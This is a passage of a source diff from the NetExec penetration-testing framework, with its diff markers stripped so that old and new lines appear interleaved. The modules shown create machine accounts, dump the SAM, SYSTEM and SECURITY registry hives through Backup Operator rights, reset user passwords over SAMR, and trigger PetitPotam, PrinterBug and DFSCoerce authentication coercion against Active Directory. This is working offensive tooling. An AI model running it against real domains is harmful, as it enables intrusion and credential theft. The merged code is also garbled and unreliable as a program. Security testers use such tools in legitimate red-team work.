self.context.db.remove_credentials(user_ids)
user_handle = None
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'")
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
else:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'")
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
if user_handle is not None:
@@ -216,54 +237,64 @@ class NXCModule:
samr.hSamrCloseHandle(dce, serv_handle)
dce.disconnect()
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
def do_ldaps_add(self):
"""Performs an LDAPS add operation."""
ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}"
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
Returns:
-------
None
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password)
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
c.bind()
sAMAccountName = self.__computerName
name = self.__computerName.rstrip("$")
if self.__delete:
result = c.delete(f"cn={name},cn=Computers,{ldap_domain}")
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
if result:
self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account')
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
self.context.log.fail(f'Computer named "{sAMAccountName}" was not found')
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"')
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
else:
self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}')
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
else:
spns = [
f"HOST/{name}",
f"HOST/{name}.{self.connection.domain}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{name}.{self.connection.domain}",
]
result = c.add(
f"cn={name},cn=Computers,{ldap_domain}",
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
["top", "person", "organizationalPerson", "user", "computer"],
{
"dnsHostName": f"{name}.{self.connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": sAMAccountName,
"unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le")
}
ucd
)
if result:
self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"')
self.context.log.highlight("You can try to verify this with the nxc command:")
self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'")
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists")
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
elif not result:
self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}")
c.unbind()
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
-4
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
@@ -11,7 +8,6 @@ class NXCModule:
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
+28 -14
View File
@@ -1,18 +1,18 @@
import contextlib
from time import sleep
import time
import os
import datetime
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -28,7 +28,7 @@ class NXCModule:
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
self.trigger_winreg(connection.conn, context)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
@@ -36,11 +36,10 @@ class NXCModule:
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
@@ -53,14 +52,12 @@ class NXCModule:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
context.log.fail(str(e))
finally:
with contextlib.suppress(Exception):
dce.disconnect()
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
@@ -98,7 +95,6 @@ class NXCModule:
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
sleep(0.2)
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
@@ -118,6 +114,24 @@ class NXCModule:
else:
context.log.display("Successfully deleted dump files !")
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
+21 -16
View File
@@ -1,5 +1,4 @@
from impacket.ldap import ldaptypes
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
@@ -80,7 +79,6 @@ class NXCModule:
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
@@ -94,9 +92,10 @@ class NXCModule:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self):
def get_domain_sid(self, ldap_session, base_dn):
"""Retrieve the domain SID from the domain object in LDAP"""
r = self.connection.search(
r = ldap_session.search(
searchBase=base_dn,
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
@@ -104,8 +103,8 @@ class NXCModule:
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, entries):
domain_sid = self.get_domain_sid()
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
domain_sid = self.get_domain_sid(ldap_session, base_dn)
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
@@ -145,13 +144,15 @@ class NXCModule:
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, sid):
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
ldap_session: The LDAP connection
sid: The SID to resolve
base_dn: The base DN for the LDAP search
Returns:
-------
@@ -159,7 +160,8 @@ class NXCModule:
"""
try:
search_filter = f"(objectSid={sid})"
response = self.connection.search(
response = ldap_session.search(
searchBase=base_dn,
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
@@ -172,10 +174,9 @@ class NXCModule:
return sid
def on_login(self, context, connection):
self.connection = connection
# Check for a domain controller with Windows Server 2025
resp = self.connection.search(
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
@@ -191,15 +192,15 @@ class NXCModule:
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = self.connection.search(
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls
)
searchControls=controls) # Fixed parameter name
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(resp)
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
if results:
context.log.success(f"Found {len(results)} results")
@@ -207,7 +208,11 @@ class NXCModule:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(sid)
samaccountname = self.resolve_sid_to_name(
connection.ldap_connection,
sid,
connection.ldap_connection._baseDN
)
for ou in ous:
if sid == samaccountname:
+8 -10
View File
@@ -3,23 +3,21 @@ from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
@@ -45,7 +43,7 @@ class BitLockerSMB:
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
@@ -53,10 +51,10 @@ class BitLockerSMB:
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
@@ -87,7 +85,7 @@ class BitLockerWMI:
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
@@ -95,7 +93,7 @@ class BitLockerWMI:
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
@@ -115,7 +113,7 @@ class BitLockerWMI:
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
-137
View File
@@ -1,137 +0,0 @@
#!/usr/bin/env python3
import json
import socket
from os import makedirs
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
"""Module made by: @NeffIsBack, @gatariee"""
name = "certipy-find"
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
VULN Show only vulnerable configurations (Default: True)
ENABLED Show only enabled templates
Export options:
TEXT Export results to a plain text file
CSV Export results to a CSV file
JSON Export results to a JSON file
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.json = False
self.csv = False
self.text = False
if "VULN" in module_options:
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
if "ENABLED" in module_options:
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
# Export options
if "JSON" in module_options:
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
if "CSV" in module_options:
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
if "TEXT" in module_options:
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
def on_login(self, context, connection):
dns_server = connection.args.dns_server
if not dns_server:
try:
# If connection.host is an IP, use it as DNS
socket.inet_aton(connection.host)
dns_server = connection.host
except Exception:
# Otherwise let DnsResolver use system resolver (None)
dns_server = None
resolv = DnsResolver.create(dns_server)
# prefer connection.hostname if present, otherwise connection.host
remote = (connection.hostname or connection.host) or ""
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
target = Target(
resolver=resolv,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=connection.remoteName,
lmhash=connection.lmhash,
nthash=connection.nthash,
do_kerberos=connection.kerberos,
target_ip=connection.host,
ldap_port=connection.port,
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
ldap_signing=connection.signing_required,
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
)
finder = Find(
target=target,
json=self.json,
csv=self.csv,
text=self.text,
output_path=self.output_path,
stdout=True,
vulnerable=self.vuln,
enabled=self.enabled,
)
# Get templates and CAs
templates = finder.get_certificate_templates()
cas = finder.get_certificate_authorities()
finder._link_cas_and_templates(cas, templates)
# Get OIDs
oids = finder.get_issuance_policies()
# Process information
finder._link_templates_and_policies(templates, oids)
finder._process_ca_properties(cas)
finder._process_template_properties(templates)
output = finder.get_output_for_text_and_json(templates, cas, oids)
pretty_print(output, print_func=context.log.highlight)
# Save to disk if any export option specified
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
json.dump(
output,
f,
indent=2,
default=str,
)
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+19 -29
View File
@@ -1,7 +1,6 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,7 +12,6 @@ class NXCModule:
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -112,40 +110,32 @@ class NXCModule:
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
except Exception as e:
context.log.fail(f"Password change failed: {e}")
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
user = self.context.db.get_user(target_domain, target_username)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
# Store the new credentials in the database
if new_nthash:
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
try:
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
def _hSamrOpenUser(self, connection, username):
"""Get handle to the user object"""
try:
+28 -22
View File
@@ -1,17 +1,16 @@
from impacket import uuid
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
from nxc.helpers.misc import CATEGORY
import contextlib
class NXCModule:
name = "coerce_plus"
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -212,15 +211,6 @@ class NXCModule:
context.log.error("Invalid method, please check the method name.")
return
@staticmethod
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
dce.connect()
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
class ShadowCoerceTrigger:
def __init__(self, context):
@@ -397,8 +387,8 @@ class DFSCoerceTrigger:
"""
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["Comment"] = "test\x00"
request["Share"] = "x:\\test\x00"
request["Comment"] = "lodos\x00"
request["Share"] = "x:\\lodos2005\x00"
dce.request(request)
except Exception as e:
@@ -419,7 +409,7 @@ class DFSCoerceTrigger:
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
request["pTargetPath"] = NULL
request["MajorVersion"] = 0
request["pComment"] = "test\x00"
request["pComment"] = "lodos\x00"
request["NewNamespace"] = 0
request["Flags"] = 0
dce.request(request)
@@ -482,7 +472,7 @@ class DFSCoerceTrigger:
request = NetrDfsAddStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["Comment"] = "test\x00"
request["Comment"] = "lodos\x00"
request["ApiFlags"] = 0
dce.request(request)
except Exception as e:
@@ -538,11 +528,6 @@ class PetitPotamtTrigger:
},
}
# activates EFS
# https://specterops.io/blog/2025/08/19/will-webclient-start/
with contextlib.suppress(Exception):
NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.set_dport(445)
@@ -770,6 +755,27 @@ class PrinterBugTrigger:
def __init__(self, context):
self.context = context
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
try:
dce.connect()
except Exception as e:
self.context.log.warning(f"Failed to connect to endpoint mapper: {e}")
raise e
try:
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
self.context.log.debug(
f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}"
)
return endpoint
except Exception as e:
self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
raise e
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"spoolss": {
@@ -778,7 +784,7 @@ class PrinterBugTrigger:
"port": 445
},
"[dcerpc]": {
"stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": None
}
+115 -81
View File
@@ -1,10 +1,10 @@
import binascii
import codecs
import json
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
@@ -189,12 +189,6 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
}
class NXCModule:
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
@@ -206,23 +200,14 @@ class NXCModule:
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
# Initialize module variables
self.principal_sAMAccountName = None
self.principal_sid = None
self.action = "read"
self.ace_type = "allowed"
self.rights = None
self.rights_guid = None
def options(self, context, module_options):
"""
Be careful, this module cannot read the DACLS recursively.
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
@@ -241,48 +226,57 @@ class NXCModule:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
sys.exit(1)
self.targets = []
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options["TARGET"]):
try:
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
self.target_SID = None
if module_options and "TARGET_DN" in module_options:
self.target_DN = module_options["TARGET_DN"]
self.target_sAMAccountName = None
self.target_file = None
for option in "TARGET", "TARGET_DN":
if option in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Adding target: {module_options[option]}")
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
if not self.targets:
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
sys.exit(1)
if "PRINCIPAL" in module_options:
if module_options and "PRINCIPAL" in module_options:
self.principal_sAMAccountName = module_options["PRINCIPAL"]
else:
self.principal_sAMAccountName = None
self.principal_sid = None
if "ACTION" in module_options:
if module_options and "ACTION" in module_options:
self.action = module_options["ACTION"]
if "ACE_TYPE" in module_options:
else:
self.action = "read"
if module_options and "ACE_TYPE" in module_options:
self.ace_type = module_options["ACE_TYPE"]
if "RIGHTS" in module_options:
else:
self.ace_type = "allowed"
if module_options and "RIGHTS" in module_options:
self.rights = module_options["RIGHTS"]
if "RIGHTS_GUID" in module_options:
else:
self.rights = None
if module_options and "RIGHTS_GUID" in module_options:
self.rights_guid = module_options["RIGHTS_GUID"]
else:
self.rights_guid = None
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.context = context
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
self.connection = connection
self.context = context
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
@@ -300,49 +294,86 @@ class NXCModule:
return
# Searching for the targets SID and their Security Descriptors
for target, search_filter in self.targets:
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
try:
# Searching for target account with its security descriptor
if self.target_sAMAccountName: # noqa: SIM108
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
else:
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
resp = connection.search(
searchFilter=search_filter(target),
searchFilter=search_filter,
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
target_principal_dn = resp_parsed["distinguishedName"]
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
except Exception as e:
context.log.fail(f"Target SID not found in LDAP ({target})")
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
